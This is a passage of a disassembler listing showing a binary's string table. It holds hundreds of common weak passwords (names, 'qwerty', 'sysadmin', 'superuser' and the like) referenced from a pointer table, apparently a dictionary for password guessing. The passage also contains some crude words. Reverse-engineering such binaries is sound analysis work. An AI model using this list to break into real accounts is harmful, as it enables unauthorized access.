; DATA XREF: ___:00431130o align 4 aWork db 'work',0 ; DATA XREF: ___:0043112Co align 4 aWorf db 'worf',0 ; DATA XREF: ___:00431128o align 4 aWordperf db 'wordperf',0 ; DATA XREF: ___:00431124o align 4 aWord db 'word',0 ; DATA XREF: ___:00431120o align 10h aWoodwind db 'woodwind',0 ; DATA XREF: ___:0043111Co align 4 aWood db 'wood',0 ; DATA XREF: ___:00431118o align 4 aWomen db 'women',0 ; DATA XREF: ___:00431114o align 4 aWombat db 'wombat',0 ; DATA XREF: ___:00431110o align 4 aWoman db 'woman',0 ; DATA XREF: ___:0043110Co align 4 aWolverin db 'wolverin',0 ; DATA XREF: ___:00431108o align 4 aWolf db 'wolf',0 ; DATA XREF: ___:00431104o align 10h aWizard db 'wizard',0 ; DATA XREF: ___:00431100o align 4 aWithin db 'within',0 ; DATA XREF: ___:004310FCo align 10h aWiseass db 'wiseass',0 ; DATA XREF: ___:004310F8o aWisconsi db 'wisconsi',0 ; DATA XREF: ___:004310F4o align 4 aWired db 'wired',0 ; DATA XREF: ___:004310F0o align 4 aWinston db 'winston',0 ; DATA XREF: ___:004310ECo aWing db 'wing',0 ; DATA XREF: ___:004310E8o align 4 aWine db 'wine',0 ; DATA XREF: ___:004310E4o align 4 aWindows db 'windows',0 ; DATA XREF: ___:004310E0o aWilma db 'wilma',0 ; DATA XREF: ___:004310DCo align 4 aWillie db 'willie',0 ; DATA XREF: ___:004310D8o align 4 aWilliams db 'williams',0 ; DATA XREF: ___:004310D4o align 4 aWilliam db 'william',0 ; DATA XREF: ___:004310D0o aWill db 'will',0 ; DATA XREF: ___:004310CCo align 4 aWhore db 'whore',0 ; DATA XREF: ___:004310C8o align 10h aWholesal db 'wholesal',0 ; DATA XREF: ___:004310C4o align 4 aWhitney db 'whitney',0 ; DATA XREF: ___:004310C0o aWhiting db 'whiting',0 ; DATA XREF: ___:004310BCo aWhite db 'white',0 ; DATA XREF: ___:004310B8o align 4 aWhisky db 'whisky',0 ; DATA XREF: ___:004310B4o align 4 aWhatnot db 'whatnot',0 ; DATA XREF: ___:004310B0o aWhatever db 'whatever',0 ; DATA XREF: ___:004310ACo align 10h aWestern db 'western',0 ; DATA XREF: ___:004310A8o aWest db 'west',0 ; DATA XREF: ___:004310A4o align 10h aWerewolf db 'werewolf',0 ; DATA XREF: ___:004310A0o align 4 aWendy db 'wendy',0 ; DATA XREF: ___:0043109Co align 4 aWendi db 'wendi',0 ; DATA XREF: ___:00431098o align 4 aWell db 'well',0 ; DATA XREF: ___:00431094o align 4 aWeenie db 'weenie',0 ; DATA XREF: ___:00431090o align 4 aWeed db 'weed',0 ; DATA XREF: ___:0043108Co align 4 aWednesda db 'wednesda',0 ; DATA XREF: ___:00431088o align 10h aWebpage db 'webpage',0 ; DATA XREF: ___:00431084o aWave db 'wave',0 ; DATA XREF: ___:00431080o align 10h aWater db 'water',0 ; DATA XREF: ___:0043107Co align 4 aWatchwor db 'watchwor',0 ; DATA XREF: ___:00431078o align 4 aWasp db 'wasp',0 ; DATA XREF: ___:00431074o align 4 aWarren db 'warren',0 ; DATA XREF: ___:00431070o align 4 aWarp db 'warp',0 ; DATA XREF: ___:0043106Co align 4 aWargames db 'wargames',0 ; DATA XREF: ___:00431068o align 4 aWarfare db 'warfare',0 ; DATA XREF: ___:00431064o aWarez db 'warez',0 ; DATA XREF: ___:00431060o align 4 aWard db 'ward',0 ; DATA XREF: ___:0043105Co align 10h aWaco db 'waco',0 ; DATA XREF: ___:00431058o align 4 aVodka db 'vodka',0 ; DATA XREF: ___:00431054o align 10h aVisualba db 'visualba',0 ; DATA XREF: ___:00431050o align 4 aVisual db 'visual',0 ; DATA XREF: ___:0043104Co align 4 aVisitor db 'visitor',0 ; DATA XREF: ___:00431048o aVirus db 'virus',0 ; DATA XREF: ___:00431044o align 4 aVirginia db 'virginia',0 ; DATA XREF: ___:00431040o align 10h aVirgin db 'virgin',0 ; DATA XREF: ___:0043103Co align 4 aVillage db 'village',0 ; DATA XREF: ___:00431038o aVideogam db 'videogam',0 ; DATA XREF: ___:00431034o align 4 aVideo db 'video',0 ; DATA XREF: sub_40EE72:loc_4135A2o ; ___:00431030o align 4 aVictor db 'victor',0 ; DATA XREF: ___:0043102Co align 4 aVicky db 'vicky',0 ; DATA XREF: ___:00431028o align 4 aVertigo db 'vertigo',0 ; DATA XREF: ___:00431024o aVeronica db 'veronica',0 ; DATA XREF: ___:00431020o align 4 aVenus db 'venus',0 ; DATA XREF: ___:0043101Co align 10h aVasant db 'vasant',0 ; DATA XREF: ___:00431018o align 4 aVampire db 'vampire',0 ; DATA XREF: ___:00431014o aValerie db 'valerie',0 ; DATA XREF: ___:00431010o aVagina db 'vagina',0 ; DATA XREF: ___:0043100Co align 10h aUucp db 'uucp',0 ; DATA XREF: ___:00431008o align 4 aUtility db 'utility',0 ; DATA XREF: ___:00431004o aUtil db 'util',0 ; DATA XREF: ___:00431000o align 4 aUsmc db 'usmc',0 ; DATA XREF: ___:00430FFCo align 10h aUsername db 'username',0 ; DATA XREF: ___:00430FF8o align 4 aUsermane db 'usermane',0 ; DATA XREF: ___:00430FF4o align 4 aUsenet db 'usenet',0 ; DATA XREF: ___:00430FF0o align 10h aUrsula db 'ursula',0 ; DATA XREF: ___:00430FECo align 4 aUrchin db 'urchin',0 ; DATA XREF: ___:00430FE8o align 10h aUranus db 'uranus',0 ; DATA XREF: ___:00430FE4o align 4 aUpload db 'upload',0 ; DATA XREF: ___:00430FE0o align 10h aUnlock db 'unlock',0 ; DATA XREF: ___:00430FDCo align 4 aUnknown_1 db 'unknown',0 ; DATA XREF: ___:00430FD8o aUniversi db 'universi',0 ; DATA XREF: ___:00430FD4o align 4 aUniverse db 'universe',0 ; DATA XREF: ___:00430FD0o align 4 aUniversa db 'universa',0 ; DATA XREF: ___:00430FCCo align 4 aUniform db 'uniform',0 ; DATA XREF: ___:00430FC8o aUnicorn db 'unicorn',0 ; DATA XREF: ___:00430FC4o aUnhappy db 'unhappy',0 ; DATA XREF: ___:00430FC0o aUndo db 'undo',0 ; DATA XREF: ___:00430FBCo align 4 aUncle db 'uncle',0 ; DATA XREF: ___:00430FB8o align 4 aUmesh db 'umesh',0 ; DATA XREF: ___:00430FB4o align 4 aUgly db 'ugly',0 ; DATA XREF: ___:00430FB0o align 4 aTuttle db 'tuttle',0 ; DATA XREF: ___:00430FACo align 4 aTurn db 'turn',0 ; DATA XREF: ___:00430FA8o align 4 aTuesday db 'tuesday',0 ; DATA XREF: ___:00430FA4o aTubas db 'tubas',0 ; DATA XREF: ___:00430FA0o align 4 aTruth db 'truth',0 ; DATA XREF: ___:00430F9Co align 4 aTrue db 'true',0 ; DATA XREF: ___:00430F98o align 4 aTron db 'tron',0 ; DATA XREF: ___:00430F94o align 4 aTrombone db 'trombone',0 ; DATA XREF: ___:00430F90o align 10h aTrojan db 'trojan',0 ; DATA XREF: ___:00430F8Co align 4 aTrivial db 'trivial',0 ; DATA XREF: ___:00430F88o aTrisha db 'trisha',0 ; DATA XREF: ___:00430F84o align 4 aTrek db 'trek',0 ; DATA XREF: ___:00430F80o align 10h aTree db 'tree',0 ; DATA XREF: ___:00430F7Co align 4 aTrapdoor db 'trapdoor',0 ; DATA XREF: ___:00430F78o align 4 aTrap db 'trap',0 ; DATA XREF: ___:00430F74o align 4 aTransfer db 'transfer',0 ; DATA XREF: ___:00430F70o align 4 aTrails db 'trails',0 ; DATA XREF: ___:00430F6Co align 10h aTracy db 'tracy',0 ; DATA XREF: ___:00430F68o align 4 aTracie db 'tracie',0 ; DATA XREF: ___:00430F64o align 10h aTraci db 'traci',0 ; DATA XREF: ___:00430F60o align 4 aToyota db 'toyota',0 ; DATA XREF: ___:00430F5Co align 10h aToxic db 'toxic',0 ; DATA XREF: ___:00430F58o align 4 aTortoise db 'tortoise',0 ; DATA XREF: ___:00430F54o align 4 aTopograp db 'topograp',0 ; DATA XREF: ___:00430F50o align 10h aTomato db 'tomato',0 ; DATA XREF: ___:00430F4Co align 4 aTokenrin db 'tokenrin',0 ; DATA XREF: ___:00430F48o align 4 aToken db 'token',0 ; DATA XREF: ___:00430F44o align 4 aToggle db 'toggle',0 ; DATA XREF: ___:00430F40o align 4 aToad db 'toad',0 ; DATA XREF: ___:00430F3Co align 4 aTits db 'tits',0 ; DATA XREF: ___:00430F38o align 4 aTina db 'tina',0 ; DATA XREF: ___:00430F34o align 4 aTime db 'time',0 ; DATA XREF: ___:00430F30o align 4 aTiger db 'tiger',0 ; DATA XREF: ___:00430F2Co align 4 aTiffany db 'tiffany',0 ; DATA XREF: ___:00430F28o aThursday db 'thursday',0 ; DATA XREF: ___:00430F24o align 10h aThin db 'thin',0 ; DATA XREF: ___:00430F20o align 4 aTheresa db 'theresa',0 ; DATA XREF: ___:00430F1Co aThailand db 'thailand',0 ; DATA XREF: ___:00430F18o align 4 aText db 'text',0 ; DATA XREF: ___:00430F14o align 4 aTetris db 'tetris',0 ; DATA XREF: ___:00430F10o align 4 aTess db 'tess',0 ; DATA XREF: ___:00430F0Co align 4 aTerminat db 'terminat',0 ; DATA XREF: ___:00430F08o align 10h aTerminal db 'terminal',0 ; DATA XREF: ___:00430F04o align 4 aTera db 'tera',0 ; DATA XREF: ___:00430F00o align 4 aTennis db 'tennis',0 ; DATA XREF: ___:00430EFCo align 4 aTemptati db 'temptati',0 ; DATA XREF: ___:00430EF8o align 4 aTelnet db 'telnet',0 ; DATA XREF: ___:00430EF4o align 10h aTelephon db 'telephon',0 ; DATA XREF: ___:00430EF0o align 4 aTeenage db 'teenage',0 ; DATA XREF: ___:00430EECo aTeen db 'teen',0 ; DATA XREF: ___:00430EE8o align 4 aTech db 'tech',0 ; DATA XREF: ___:00430EE4o align 4 aTears db 'tears',0 ; DATA XREF: ___:00430EE0o align 4 aTeapot db 'teapot',0 ; DATA XREF: ___:00430EDCo align 4 aTeam db 'team',0 ; DATA XREF: ___:00430ED8o align 4 aTaylor db 'taylor',0 ; DATA XREF: ___:00430ED0o align 4 aTarragon db 'tarragon',0 ; DATA XREF: ___:00430ECCo align 10h aTarget db 'target',0 ; DATA XREF: ___:00430EC8o align 4 aTara db 'tara',0 ; DATA XREF: ___:00430EC4o align 10h aTape db 'tape',0 ; DATA XREF: ___:00430EC0o align 4 aTango db 'tango',0 ; DATA XREF: ___:00430EBCo align 10h aTangerin db 'tangerin',0 ; DATA XREF: ___:00430EB8o align 4 aTammy db 'tammy',0 ; DATA XREF: ___:00430EB4o align 4 aTamie db 'tamie',0 ; DATA XREF: ___:00430EB0o align 4 aTami db 'tami',0 ; DATA XREF: ___:00430EACo align 4 aTamara db 'tamara',0 ; DATA XREF: ___:00430EA8o align 4 aTall db 'tall',0 ; DATA XREF: ___:00430EA4o align 4 aTalk db 'talk',0 ; DATA XREF: ___:00430EA0o align 4 aTabasco db 'tabasco',0 ; DATA XREF: ___:00430E9Co aSysop db 'sysop',0 ; DATA XREF: ___:00430E98o align 4 aSysadmin db 'sysadmin',0 ; DATA XREF: ___:00430E94o align 4 aSymmetry db 'symmetry',0 ; DATA XREF: ___:00430E90o align 4 aSybil db 'sybil',0 ; DATA XREF: ___:00430E8Co align 4 aSword db 'sword',0 ; DATA XREF: ___:00430E88o align 4 aSwitch db 'switch',0 ; DATA XREF: ___:00430E84o align 4 aSweat db 'sweat',0 ; DATA XREF: ___:00430E80o align 4 aSwearer db 'swearer',0 ; DATA XREF: ___:00430E7Co aSuzie db 'suzie',0 ; DATA XREF: ___:00430E78o align 4 aSuzanne db 'suzanne',0 ; DATA XREF: ___:00430E74o aSusie db 'susie',0 ; DATA XREF: ___:00430E70o align 4 aSusanne db 'susanne',0 ; DATA XREF: ___:00430E6Co aSusan db 'susan',0 ; DATA XREF: ___:00430E68o align 4 aSurfing db 'surfing',0 ; DATA XREF: ___:00430E64o aSurfer db 'surfer',0 ; DATA XREF: ___:00430E60o align 4 aSupporte db 'supporte',0 ; DATA XREF: ___:00430E5Co align 10h aSupport db 'support',0 ; DATA XREF: ___:00430E58o aSupervis db 'supervis',0 ; DATA XREF: ___:00430E54o align 4 aSuperuse db 'superuse',0 ; DATA XREF: ___:00430E50o align 10h aSupersta db 'supersta',0 ; DATA XREF: ___:00430E4Co align 4 aSuperson db 'superson',0 ; DATA XREF: ___:00430E48o align 4 aSuperman db 'superman',0 ; DATA XREF: ___:00430E44o align 4 aSunday db 'sunday',0 ; DATA XREF: ___:00430E40o align 4 aSummer db 'summer',0 ; DATA XREF: ___:00430E3Co align 4 aSucks db 'sucks',0 ; DATA XREF: ___:00430E38o align 4 aSuckmydi db 'suckmydi',0 ; DATA XREF: ___:00430E34o align 4 aSuck db 'suck',0 ; DATA XREF: ___:00430E30o align 10h aSuccess db 'success',0 ; DATA XREF: ___:00430E2Co aSubway db 'subway',0 ; DATA XREF: ___:00430E28o align 10h aSubscrib db 'subscrib',0 ; DATA XREF: ___:00430E24o align 4 aStuttgar db 'stuttgar',0 ; DATA XREF: ___:00430E20o align 4 aStrip db 'strip',0 ; DATA XREF: ___:00430E18o align 10h aString db 'string',0 ; DATA XREF: ___:00430E14o align 4 aStreetfi db 'streetfi',0 ; DATA XREF: ___:00430E10o align 4 aStratfor db 'stratfor',0 ; DATA XREF: ___:00430E0Co align 10h aStrangle db 'strangle',0 ; DATA XREF: ___:00430E08o align 4 aStrange db 'strange',0 ; DATA XREF: ___:00430E04o aStones db 'stones',0 ; DATA XREF: ___:00430E00o align 4 aStoned db 'stoned',0 ; DATA XREF: ___:00430DFCo align 4 aStoneage db 'stoneage',0 ; DATA XREF: ___:00430DF8o align 10h aSteve db 'steve',0 ; DATA XREF: ___:00430DF4o align 4 aStereo db 'stereo',0 ; DATA XREF: ___:00430DF0o align 10h aStephani db 'stephani',0 ; DATA XREF: ___:00430DECo align 4 aSteph db 'steph',0 ; DATA XREF: ___:00430DE8o align 4 aSteel db 'steel',0 ; DATA XREF: ___:00430DE4o align 4 aSteal db 'steal',0 ; DATA XREF: ___:00430DE0o align 4 aSteak db 'steak',0 ; DATA XREF: ___:00430DDCo align 4 aStarwars db 'starwars',0 ; DATA XREF: ___:00430DD8o align 4 aStartup db 'startup',0 ; DATA XREF: ___:00430DD4o aStartrek db 'startrek',0 ; DATA XREF: ___:00430DD0o align 4 aStart db 'start',0 ; DATA XREF: sub_40EE72+2069o ; ___:00430DCCo align 4 aStarship db 'starship',0 ; DATA XREF: ___:00430DC8o align 10h aStar db 'star',0 ; DATA XREF: ___:00430DC4o align 4 aStacy db 'stacy',0 ; DATA XREF: ___:00430DC0o align 10h aStacie db 'stacie',0 ; DATA XREF: ___:00430DBCo align 4 aStaci db 'staci',0 ; DATA XREF: ___:00430DB8o align 10h aStacey db 'stacey',0 ; DATA XREF: ___:00430DB4o align 4 aSr71 db 'sr71',0 ; DATA XREF: ___:00430DB0o align 10h aSquires db 'squires',0 ; DATA XREF: ___:00430DACo aSpunk db 'spunk',0 ; DATA XREF: ___:00430DA8o align 10h aSpringer db 'springer',0 ; DATA XREF: ___:00430DA4o align 4 aSpring db 'spring',0 ; DATA XREF: ___:00430DA0o align 4 aSpred db 'spred',0 ; DATA XREF: ___:00430D9Co align 4 aSpit db 'spit',0 ; DATA XREF: ___:00430D98o align 4 aSpiderma db 'spiderma',0 ; DATA XREF: ___:00430D94o align 10h aSpider db 'spider',0 ; DATA XREF: ___:00430D90o align 4 aSpice db 'spice',0 ; DATA XREF: ___:00430D8Co align 10h aSpell db 'spell',0 ; DATA XREF: ___:00430D88o align 4 aSpear db 'spear',0 ; DATA XREF: ___:00430D84o align 10h aSparrows db 'sparrows',0 ; DATA XREF: ___:00430D80o align 4 aSpaceshi db 'spaceshi',0 ; DATA XREF: ___:00430D7Co align 4 aSouth db 'south',0 ; DATA XREF: ___:00430D78o align 10h aSource db 'source',0 ; DATA XREF: ___:00430D74o align 4 aSossina db 'sossina',0 ; DATA XREF: ___:00430D70o aSonya db 'sonya',0 ; DATA XREF: ___:00430D6Co align 4 aSonic db 'sonic',0 ; DATA XREF: ___:00430D68o align 10h aSonia db 'sonia',0 ; DATA XREF: ___:00430D64o align 4 aSondra db 'sondra',0 ; DATA XREF: ___:00430D60o align 10h aSomebody db 'somebody',0 ; DATA XREF: ___:00430D5Co align 4 aSoftware db 'software',0 ; DATA XREF: ___:00430D58o align 4 aSoft db 'soft',0 ; DATA XREF: ___:00430D54o align 10h aSodomy db 'sodomy',0 ; DATA XREF: ___:00430D50o align 4 aSocrates db 'socrates',0 ; DATA XREF: ___:00430D4Co align 4 aSocial db 'social',0 ; DATA XREF: ___:00430D48o align 4 aSoap db 'soap',0 ; DATA XREF: ___:00430D44o align 4 aSnoopy db 'snoopy',0 ; DATA XREF: ___:00430D40o align 4 aSnatch db 'snatch',0 ; DATA XREF: ___:00430D3Co align 4 aSnake db 'snake',0 ; DATA XREF: ___:00430D38o align 4 aSnafu db 'snafu',0 ; DATA XREF: ___:00430D34o align 4 aSnach db 'snach',0 ; DATA XREF: ___:00430D30o align 4 aSmut db 'smut',0 ; DATA XREF: ___:00430D2Co align 4 aSmtp db 'smtp',0 ; DATA XREF: ___:00430D28o align 4 aSmother db 'smother',0 ; DATA XREF: ___:00430D24o aSmooch db 'smooch',0 ; DATA XREF: ___:00430D20o align 4 aSmiles db 'smiles',0 ; DATA XREF: ___:00430D1Co align 4 aSmile db 'smile',0 ; DATA XREF: ___:00430D18o align 4 aSmart db 'smart',0 ; DATA XREF: ___:00430D14o align 4 aSmall db 'small',0 ; DATA XREF: ___:00430D10o align 4 aSlut db 'slut',0 ; DATA XREF: ___:00430D0Co align 4 aSlow db 'slow',0 ; DATA XREF: ___:00430D08o align 4 aSliders db 'sliders',0 ; DATA XREF: ___:00430D04o aSlick db 'slick',0 ; DATA XREF: ___:00430D00o align 4 aSlave db 'slave',0 ; DATA XREF: ___:00430CFCo align 4 aSkull db 'skull',0 ; DATA XREF: ___:00430CF8o align 4 aSite db 'site',0 ; DATA XREF: ___:00430CF4o align 4 aSingle db 'single',0 ; DATA XREF: ___:00430CF0o align 4 aSinger db 'singer',0 ; DATA XREF: ___:00430CECo align 4 aSimulati db 'simulati',0 ; DATA XREF: ___:00430CE8o align 10h aSimpsons db 'simpsons',0 ; DATA XREF: ___:00430CE4o align 4 aSimple db 'simple',0 ; DATA XREF: ___:00430CE0o align 4 aSimon db 'simon',0 ; DATA XREF: ___:00430CDCo align 4 aSimcity db 'simcity',0 ; DATA XREF: ___:00430CD8o aSilver db 'silver',0 ; DATA XREF: ___:00430CD4o align 4 aSignatur db 'signatur',0 ; DATA XREF: ___:00430CD0o align 4 aSierra db 'sierra',0 ; DATA XREF: ___:00430CCCo align 10h aSick db 'sick',0 ; DATA XREF: ___:00430CC8o align 4 aShuttle db 'shuttle',0 ; DATA XREF: ___:00430CC4o aShort db 'short',0 ; DATA XREF: ___:00430CC0o align 4 aShivers db 'shivers',0 ; DATA XREF: ___:00430CBCo aShiva db 'shiva',0 ; DATA XREF: ___:00430CB8o align 4 aShitpot db 'shitpot',0 ; DATA XREF: ___:00430CB4o aShit db 'shit',0 ; DATA XREF: ___:00430CB0o align 4 aShirley db 'shirley',0 ; DATA XREF: ___:00430CACo aShift db 'shift',0 ; DATA XREF: ___:00430CA8o align 4 aSherri db 'sherri',0 ; DATA XREF: ___:00430CA4o align 10h aShell db 'shell',0 ; DATA XREF: ___:00430CA0o align 4 aSheldon db 'sheldon',0 ; DATA XREF: ___:00430C9Co aSheffiel db 'sheffiel',0 ; DATA XREF: ___:00430C98o align 4 aSharon db 'sharon',0 ; DATA XREF: ___:00430C94o align 4 aSharks db 'sharks',0 ; DATA XREF: ___:00430C90o align 4 aShark db 'shark',0 ; DATA XREF: ___:00430C8Co align 4 aSharc db 'sharc',0 ; DATA XREF: ___:00430C88o align 4 aShannon db 'shannon',0 ; DATA XREF: ___:00430C84o aSexy db 'sexy',0 ; DATA XREF: ___:00430C80o align 4 aSesame db 'sesame',0 ; DATA XREF: ___:00430C7Co align 4 aService db 'service',0 ; DATA XREF: ___:00430C78o aSerial_0 db 'serial',0 ; DATA XREF: ___:00430C74o align 4 aSerenity db 'serenity',0 ; DATA XREF: ___:00430C70o align 10h aSentry db 'sentry',0 ; DATA XREF: ___:00430C6Co align 4 aSentinel db 'sentinel',0 ; DATA XREF: ___:00430C68o align 4 aSensor db 'sensor',0 ; DATA XREF: ___:00430C64o align 4 aSega db 'sega',0 ; DATA XREF: ___:00430C60o align 4 aSeed db 'seed',0 ; DATA XREF: ___:00430C5Co align 4 aSecurity db 'security',0 ; DATA XREF: ___:00430C58o align 4 aSearch db 'search',0 ; DATA XREF: ___:00430C54o align 10h aScout db 'scout',0 ; DATA XREF: ___:00430C50o align 4 aScotty db 'scotty',0 ; DATA XREF: ___:00430C4Co align 10h aScott db 'scott',0 ; DATA XREF: ___:00430C48o align 4 aScorpion db 'scorpion',0 ; DATA XREF: ___:00430C44o align 4 aScifi db 'scifi',0 ; DATA XREF: ___:00430C40o align 4 aSchoolsucks db 'schoolsucks',0 ; DATA XREF: ___:00430C3Co aSchool db 'school',0 ; DATA XREF: ___:00430C38o align 10h aScheme db 'scheme',0 ; DATA XREF: ___:00430C34o align 4 aScamper db 'scamper',0 ; DATA XREF: ___:00430C30o aSaxon db 'saxon',0 ; DATA XREF: ___:00430C2Co align 4 aSaturn db 'saturn',0 ; DATA XREF: ___:00430C28o align 10h aSaturday db 'saturday',0 ; DATA XREF: ___:00430C24o align 4 aSarah db 'sarah',0 ; DATA XREF: ___:00430C20o align 4 aSara db 'sara',0 ; DATA XREF: ___:00430C1Co align 4 aSandy db 'sandy',0 ; DATA XREF: ___:00430C18o align 4 aSandra db 'sandra',0 ; DATA XREF: ___:00430C14o align 4 aSample db 'sample',0 ; DATA XREF: ___:00430C10o align 4 aSamantha db 'samantha',0 ; DATA XREF: ___:00430C0Co align 10h aSalt db 'salt',0 ; DATA XREF: ___:00430C08o align 4 aSale db 'sale',0 ; DATA XREF: ___:00430C04o align 10h aSalami db 'salami',0 ; DATA XREF: ___:00430C00o align 4 aSafe db 'safe',0 ; DATA XREF: ___:00430BFCo align 10h aRuth db 'ruth',0 ; DATA XREF: ___:00430BF8o align 4 aRush db 'rush',0 ; DATA XREF: ___:00430BF4o align 10h aRunning_0 db 'running',0 ; DATA XREF: ___:00430BF0o aRules db 'rules',0 ; DATA XREF: ___:00430BECo align 10h aRude db 'rude',0 ; DATA XREF: ___:00430BE8o align 4 aRuby db 'ruby',0 ; DATA XREF: ___:00430BE4o align 10h aRuben db 'ruben',0 ; DATA XREF: ___:00430BE0o align 4 aRubber db 'rubber',0 ; DATA XREF: ___:00430BDCo align 10h aRough db 'rough',0 ; DATA XREF: ___:00430BD8o align 4 aRoses db 'roses',0 ; DATA XREF: ___:00430BD4o align 10h aRosemary db 'rosemary',0 ; DATA XREF: ___:00430BD0o align 4 aRosebud db 'rosebud',0 ; DATA XREF: ___:00430BCCo aRose db 'rose',0 ; DATA XREF: ___:00430BC8o align 4 aRonald db 'ronald',0 ; DATA XREF: ___:00430BC4o align 4 aRomulan db 'romulan',0 ; DATA XREF: ___:00430BC0o aRomeo db 'romeo',0 ; DATA XREF: ___:00430BBCo align 4 aRomano db 'romano',0 ; DATA XREF: ___:00430BB8o align 4 aRolex db 'rolex',0 ; DATA XREF: ___:00430BB4o align 4 aRodent db 'rodent',0 ; DATA XREF: ___:00430BB0o align 4 aRockyhor db 'rockyhor',0 ; DATA XREF: ___:00430BACo align 4 aRocky db 'rocky',0 ; DATA XREF: ___:00430BA8o align 10h aRock db 'rock',0 ; DATA XREF: ___:00430BA4o align 4 aRocheste db 'rocheste',0 ; DATA XREF: ___:00430BA0o align 4 aRochelle db 'rochelle',0 ; DATA XREF: ___:00430B9Co align 10h aRobyn db 'robyn',0 ; DATA XREF: ___:00430B98o align 4 aRobotics db 'robotics',0 ; DATA XREF: ___:00430B94o align 4 aRobot db 'robot',0 ; DATA XREF: ___:00430B90o align 4 aRobin db 'robin',0 ; DATA XREF: ___:00430B8Co align 4 aRobert db 'robert',0 ; DATA XREF: ___:00430B88o align 4 aRoach db 'roach',0 ; DATA XREF: ___:00430B84o align 4 aRisc db 'risc',0 ; DATA XREF: ___:00430B80o align 4 aRipple db 'ripple',0 ; DATA XREF: ___:00430B7Co align 4 aRiot db 'riot',0 ; DATA XREF: ___:00430B78o align 4 aRing db 'ring',0 ; DATA XREF: ___:00430B74o align 4 aRightwin db 'rightwin',0 ; DATA XREF: ___:00430B70o align 10h aRight db 'right',0 ; DATA XREF: ___:00430B6Co align 4 aRiffraff db 'riffraff',0 ; DATA XREF: ___:00430B68o align 4 aRick db 'rick',0 ; DATA XREF: ___:00430B64o align 4 aRich db 'rich',0 ; DATA XREF: ___:00430B60o align 4 aRhino db 'rhino',0 ; DATA XREF: ___:00430B5Co align 4 aReveal db 'reveal',0 ; DATA XREF: ___:00430B58o align 4 aResistan db 'resistan',0 ; DATA XREF: ___:00430B54o align 10h aRepublic db 'republic',0 ; DATA XREF: ___:00430B50o align 4 aReport db 'report',0 ; DATA XREF: ___:00430B4Co align 4 aRent db 'rent',0 ; DATA XREF: ___:00430B48o align 4 aReno db 'reno',0 ; DATA XREF: ___:00430B44o align 4 aRenee db 'renee',0 ; DATA XREF: ___:00430B40o align 4 aRemote db 'remote',0 ; DATA XREF: ___:00430B3Co align 4 aRelease db 'release',0 ; DATA XREF: ___:00430B38o aRegional db 'regional',0 ; DATA XREF: ___:00430B34o align 4 aReferenc db 'referenc',0 ; DATA XREF: ___:00430B30o align 4 aRedhead db 'redhead',0 ; DATA XREF: ___:00430B2Co aReddawn db 'reddawn',0 ; DATA XREF: ___:00430B28o aRecord db 'record',0 ; DATA XREF: ___:00430B24o align 4 aRebel db 'rebel',0 ; DATA XREF: ___:00430B20o align 4 aRebecca db 'rebecca',0 ; DATA XREF: ___:00430B1Co aRebal db 'rebal',0 ; DATA XREF: ___:00430B18o align 4 aReaper db 'reaper',0 ; DATA XREF: ___:00430B14o align 4 aReam db 'ream',0 ; DATA XREF: ___:00430B10o align 4 aReally db 'really',0 ; DATA XREF: ___:00430B0Co align 4 aReality db 'reality',0 ; DATA XREF: ___:00430B08o aReagan db 'reagan',0 ; DATA XREF: ___:00430B04o align 4 aRazor db 'razor',0 ; DATA XREF: ___:00430B00o align 4 aRascal db 'rascal',0 ; DATA XREF: ___:00430AFCo align 4 aRape db 'rape',0 ; DATA XREF: ___:00430AF8o align 4 aRaleigh db 'raleigh',0 ; DATA XREF: ___:00430AF0o aRaindrop db 'raindrop',0 ; DATA XREF: ___:00430AECo align 4 aRainbow db 'rainbow',0 ; DATA XREF: ___:00430AE8o aRain db 'rain',0 ; DATA XREF: ___:00430AE4o align 4 aRaid db 'raid',0 ; DATA XREF: ___:00430AE0o align 10h aRachmani db 'rachmani',0 ; DATA XREF: ___:00430ADCo align 4 aRachelle db 'rachelle',0 ; DATA XREF: ___:00430AD8o align 4 aRachel db 'rachel',0 ; DATA XREF: ___:00430AD4o align 10h aRabbit db 'rabbit',0 ; DATA XREF: ___:00430AD0o align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00430ACCo align 10h aQwert db 'qwert',0 ; DATA XREF: ___:00430AC8o align 4 aQuebec db 'quebec',0 ; DATA XREF: ___:00430AC4o align 10h aPussy db 'pussy',0 ; DATA XREF: ___:00430AC0o align 4 aPuppet db 'puppet',0 ; DATA XREF: ___:00430ABCo align 10h aPunk db 'punk',0 ; DATA XREF: ___:00430AB8o align 4 aPunisher db 'punisher',0 ; DATA XREF: ___:00430AB4o align 4 aPuneet db 'puneet',0 ; DATA XREF: ___:00430AB0o align 4 aPumpkin db 'pumpkin',0 ; DATA XREF: ___:00430AACo aPuke db 'puke',0 ; DATA XREF: ___:00430AA8o align 4 aPuck db 'puck',0 ; DATA XREF: ___:00430AA4o align 4 aPublic db 'public',0 ; DATA XREF: ___:00430AA0o align 4 aPsychopa db 'psychopa',0 ; DATA XREF: ___:00430A9Co align 4 aPsycho db 'psycho',0 ; DATA XREF: ___:00430A98o align 10h aProtozoa db 'protozoa',0 ; DATA XREF: ___:00430A94o align 4 aProtect db 'protect',0 ; DATA XREF: ___:00430A90o aPrompt db 'prompt',0 ; DATA XREF: ___:00430A8Co align 4 aProgram db 'program',0 ; DATA XREF: ___:00430A88o aProfile db 'profile',0 ; DATA XREF: ___:00430A84o aProfesso db 'professo',0 ; DATA XREF: ___:00430A80o align 4 aProcesso db 'processo',0 ; DATA XREF: ___:00430A7Co align 4 aProceed db 'proceed',0 ; DATA XREF: ___:00430A78o aPrivs db 'privs',0 ; DATA XREF: ___:00430A74o align 4 aPrivate db 'private',0 ; DATA XREF: ___:00430A70o aPriv db 'priv',0 ; DATA XREF: ___:00430A6Co align 4 aPrinter db 'printer',0 ; DATA XREF: ___:00430A68o aPrinceto db 'princeto',0 ; DATA XREF: ___:00430A64o align 4 aPrince db 'prince',0 ; DATA XREF: ___:00430A60o align 10h aPresto db 'presto',0 ; DATA XREF: ___:00430A5Co align 4 aPrelude db 'prelude',0 ; DATA XREF: ___:00430A58o aPrecious db 'precious',0 ; DATA XREF: ___:00430A54o align 4 aPraise db 'praise',0 ; DATA XREF: ___:00430A50o align 4 aPower db 'power',0 ; DATA XREF: ___:00430A4Co align 4 aPoster db 'poster',0 ; DATA XREF: ___:00430A48o align 4 aPost db 'post',0 ; DATA XREF: ___:00430A44o align 4 aPorsche db 'porsche',0 ; DATA XREF: ___:00430A40o aPorno db 'porno',0 ; DATA XREF: ___:00430A3Co align 4 aPorn db 'porn',0 ; DATA XREF: ___:00430A38o align 4 aPork db 'pork',0 ; DATA XREF: ___:00430A34o align 4 aPoor db 'poor',0 ; DATA XREF: 